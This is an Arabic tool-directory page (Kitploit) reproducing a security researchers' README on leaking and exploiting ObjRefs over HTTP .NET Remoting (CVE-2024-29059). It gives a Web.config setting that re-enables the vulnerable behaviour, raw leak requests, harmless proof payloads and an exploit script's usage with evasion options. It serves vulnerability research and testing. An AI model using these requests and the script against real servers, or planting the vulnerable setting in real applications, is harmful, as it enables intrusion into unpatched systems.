Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
HttpRemotingObjRefLeak — موارد إضافية لتسريب واستغلال ObjRefs عبر HTTP .NET Remoting (CVE-2024-29059) | Kitploit
أدوات/GitHubGitHub/codewhitesec/httpremotingobjrefleak
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرتطوير الحمولات
GitHubcodewhitesec/httpremotingobjrefleak

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

HttpRemotingObjRefLeak

موارد إضافية لتسريب واستغلال ObjRefs عبر HTTP .NET Remoting (CVE-2024-29059)

عرض المستودعالموقع الإلكتروني
9214منذ 2 سنواتتمت المراجعة من قبل Kitploit

تسريب واستغلال ObjRefs عبر HTTP .NET Remoting (CVE-2024-29059)

يوفّر هذا المستودع مزيدًا من التفاصيل والموارد حول مقال مدوّنة CODE WHITE الذي يحمل الاسم نفسه تسريب ObjRefs لاستغلال HTTP .NET Remoting:

  1. إنشاء تطبيق ويب ASP.NET ضعيف
  2. اكتشاف تسريبات ObjRef
  3. أمثلة على حمولات إلغاء التسلسل التي تعمل ضمن قيود TypeFilterLevel.Low
  4. سكربت استغلال لتسليم الحمولات

1. إنشاء تطبيق ويب ASP.NET ضعيف

يعتمد ما يلي على تكوين Application Insights لموقع ASP.NET الخاص بك من Microsoft ويصف كيفية إنشاء تطبيق ويب ASP.NET ضعيف باستخدام Visual Studio 2019 (المطلوب لاستهداف .NET Framework 4.5.2، وما زال بإمكانك تنزيله من https://aka.ms/vs/16/release/vs_community.exe) وMicrosoft Application Insights:

  1. افتح Visual Studio 2019.
  2. اختر File > New > Project.
  3. اختر ASP.NET Web Application (.NET Framework) C#، ثم Next.
  4. اختر .NET Framework 4.5.2، ثم Create.
  5. اختر Empty، ثم Create.
  6. اختر Project > Add Application Insights Telemetry.
  7. اختر Application Insights SDK (local)، ثم Next.
  8. حدد NuGet packages، ثم انقر فوق Finish.

إذا كانت تحديثات .NET Framework لشهر يناير 2024 مثبّتة، فافتح ملف Web.config وأضف ما يلي ضمن /configuration/appSettings لإعادة تفعيل السلوك القابل للاستغلال:

root@kitploit:~
<add key="microsoft:Remoting:LateHttpHeaderParsing" value="true" />

يمكنك بعد ذلك تشغيل تطبيق الويب عبر Debug > Start Without Debugging أو بالضغط على Ctrl+F5.

2. اكتشاف تسريبات ObjRef

يمكنك استخدام الطلبات التالية لتسريب ObjRefs الخاصة بكائنات MarshalByRefObject المخزّنة في LogicalCallContext:

  • BinaryServerFormatterSink:

    root@kitploit:~
    GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
    __RequestVerb: POST
    Content-Type: application/octet-stream
    
  • SoapServerFormatterSink:

    root@kitploit:~
    GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
    __RequestVerb: POST
    Content-Type: text/xml
    

يمكن بعد ذلك مطابقة URIs الخاصة بـObjRef المسرّبة باستخدام التعبير النمطي التالي:

root@kitploit:~
/[0-9a-f_]+/[0-9A-Za-z_+]+_\d+\.rem

3. أمثلة على حمولات إلغاء التسلسل

لقد أنشأنا حمولتَي إلغاء تسلسل بسيطتين استنادًا إلى أداة TextFormattingRunProperties الخاصة بـYSoSerial.Net مع حمولات XAML مخصصة تعمل ضمن القيود الناتجة عن TypeFilterLevel.Low لتنفيذ ما يلي:

  • HttpContext.Current.Response.AddHeader("Set-Cookie", "x=ad92afb4-00c3-4479-bab8-2425b5716081")
  • HttpContext.Current.Response.RedirectLocation = "/ad92afb4-00c3-4479-bab8-2425b5716081"

يمكن ملاحظة ترويسات HTTP في استجابة الخادم لطلب HTTP .NET Remoting.

4. سكربت الاستغلال

يوفر سكربت RemoteApplicationMetadata.py طريقة لتسريب ObjRef الموجود ثم استخدامه في طلب لاحق لتسليم حمولة معينة:

root@kitploit:~
usage: RemoteApplicationMetadata.py [-h] [-c] [--chunk-range CHUNK_RANGE] [-e] [-f {binary,soap}] [-u] [-v] url [file]

positional arguments:
  url                   target URL (without `RemoteApplicationMetadata.rem`)
  file                  BinaryFormatter/SoapFormatter payload file (default: stdin)

options:
  -h, --help            show this help message and exit
  -c, --chunked         use chunked Transfer-Encoding for request
  --chunk-range CHUNK_RANGE
                        range to pick the chunk size from randomly, e. g., 1-10
  -e, --encoding        apply a random non ASCII-based encoding on SOAP
  -f {binary,soap}, --format {binary,soap}
                        targeted runtime serializer format (default: soap)
  -u, --use-generic-uri
                        use the generic `RemoteApplicationMetadata.rem` also for the payload delivery request
  -v, --verbose         print verbose info

مثال:

root@kitploit:~
./RemoteApplicationMetadata.py -f binary https://127.0.0.1:44365 AddHeader.bin -u -v
تنزيل الأداة